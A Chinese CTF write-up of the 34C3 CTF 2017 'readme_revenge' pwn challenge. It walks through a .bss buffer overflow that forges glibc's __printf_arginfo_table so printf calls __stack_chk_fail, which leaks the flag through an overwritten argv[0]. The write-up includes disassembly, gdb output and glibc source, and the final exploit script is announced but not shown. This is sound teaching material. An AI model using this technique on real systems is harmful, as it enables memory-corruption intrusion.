6.1.13 pwn 34C3CTF2017 readme_revenge
这个题目实际上非常有趣。
与我们经常接触的题目不同,这是一个静态链接程序,运行时不需要加载 libc。not stripped 绝对是个好消息。
aaaa
Hi, aaaa. Bye.
$ ./readme_revenge
%x.%d.%p
Hi, %x.%d.%p. Bye.
$ python -c 'print("A"*2000)' > crash_input
$ ./readme_revenge < crash_input
Segmentation fault (core dumped)
我们试着给它输入一些字符,结果被原样打印出来,而且看起来也不存在格式化字符串漏洞。但当我们输入大量字符时,触发了段错误,这倒是一个好消息。
接着又发现了这个:
$ rabin2 -z readme_revenge | grep 34C3
Warning: Cannot initialize dynamic strings
000 0x000b4040 0x006b4040 35 36 (.data) ascii 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
看来 flag 是被隐藏在程序中的,地址在 0x006b4040
,位于 .data
段上。结合题目的名字 readme,推测这题的目标应该是从程序中读取或者泄漏出 flag。
因为 flag 在程序的 .data
段上,根据我们的经验,应该能想到利用 __stack_chk_fail()
将其打印出来(参考章节 4.12)。
[0x00400900]> pdf @ main
;-- main:
/ (fcn) sym.main 80
| sym.main (int arg_1020h);
| ; arg int arg_1020h @ rsp+0x1020
| ; DATA XREF from 0x0040091d (entry0)
| 0x00400a0d 55 push rbp
| 0x00400a0e 4889e5 mov rbp, rsp
| 0x00400a11 488da424e0ef. lea rsp, [rsp - 0x1020]
| 0x00400a19 48830c2400 or qword [rsp], 0
| 0x00400a1e 488da4242010. lea rsp, [arg_1020h] ; 0x1020
| 0x00400a26 488d35b3692b. lea rsi, obj.name ; 0x6b73e0
| 0x00400a2d 488d3d50c708. lea rdi, [0x0048d184] ; "%s"
| 0x00400a34 b800000000 mov eax, 0
| 0x00400a39 e822710000 call sym.__isoc99_scanf
| 0x00400a3e 488d359b692b. lea rsi, obj.name ; 0x6b73e0
| 0x00400a45 488d3d3bc708. lea rdi, str.Hi___s._Bye. ; 0x48d187 ; "Hi, %s. Bye.\n"
| 0x00400a4c b800000000 mov eax, 0
| 0x00400a51 e87a6f0000 call sym.__printf
| 0x00400a5b 5d pop rbp
\ 0x00400a5c c3 ret
很简单,从标准输入读取字符串到变量 name
,地址在 0x6b73e0
,且位于 .bss
段上,是一个全局变量。接下来程序调用 printf 将 name
打印出来。
在 gdb 里试试:
程序的漏洞很明显了,就是缓冲区溢出覆盖了 libc 静态编译到程序里的一些指针。再往下看会发现一些可能有用的:
gdb-peda$
0x6b7978 <__libc_argc>: 0x4141414141414141
gdb-peda$
0x6b7980 <__libc_argv>: 0x4141414141414141
gdb-peda$
0x6b7a28 <__printf_function_table>: 0x4141414141414141
gdb-peda$
0x6b7a30 <__printf_modifier_table>: 0x4141414141414141
gdb-peda$
0x6b7aa8 <__printf_arginfo_table>: 0x4141414141414141
0x6b7ab0 <__printf_va_arg_table>: 0x4141414141414141
再看一下栈回溯情况吧:
gdb-peda$ bt
#0 0x000000000045ad64 in __parse_one_specmb ()
#1 0x0000000000443153 in printf_positional ()
#2 0x0000000000446ed2 in vfprintf ()
#3 0x0000000000407a74 in printf ()
#4 0x0000000000400a56 in main ()
#5 0x0000000000400c84 in generic_start_main ()
#6 0x0000000000400efd in __libc_start_main ()
#7 0x000000000040092a in _start ()
依次调用了 printf() => vfprintf() => printf_positional() => __parse_one_specmb()
。那就看一下 glibc 源码,然后发现了这个:
// stdio-common/vfprintf.c
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
这里就涉及到 glibc 的一个特性,它允许用户为 printf 的模板字符串(template strings)定义自己的转换函数,方法是使用函数 register_printf_function()
:
// stdio-common/printf.h
extern int register_printf_function (int __spec, printf_function __func,
printf_arginfo_function __arginfo)
__THROW __attribute_deprecated__;
- 该函数为指定的字符
__spec
定义一个转换规则。因此如果__spec
是Y
,它定义的转换规则就是%Y
。用户甚至可以重新定义已有的字符,例如%s
。 __func
是一个函数,在对指定的__spec
进行转换时由printf
调用。__arginfo
也是一个函数,在对指定的__spec
进行转换时由parse_printf_format
调用。
register_printf_function()
其实也就是 __register_printf_specifier()
,我们来看看它是怎么实现的:
// stdio-common/reg-printf.c
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
然后发现 spec
被直接用做数组 __printf_function_table
和 __printf_arginfo_table
的下标。s
也就是 0x73
,这和我们在 gdb 里看到的相符:rdx=0x73
,[rax+rdx*8]
正好是数组取值的方式,虽然这里的 rax
里保存的是 __printf_modifier_table
。
有了上面的分析,下面我们来构造 exp。
回顾一下 __parse_one_specmb()
函数里的 if
判断语句,我们知道 C 语言对 ||
的处理机制是如果第一个表达式为 True,就不再进行第二个表达式的判断,所以为了执行函数 *__printf_arginfo_table[spec->info.spec]
,需要前面的判断条件都为 False。我们可以在 .bss
段上伪造一个 printf_arginfo_size_function
结构体,在结构体偏移 0x73*8
的地方放上 __stack_chk_fail()
的地址,当该函数执行时,将打印出 argv[0]
指向的字符串,所以我们还需要将 argv[0]
覆盖为 flag 的地址。
Bingo!!!
$ python2 exp.py
[+] Starting local process './readme_revenge': pid 14553
[*] Switching to interactive mode
*** stack smashing detected ***: 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX terminated
完整的 exp 如下: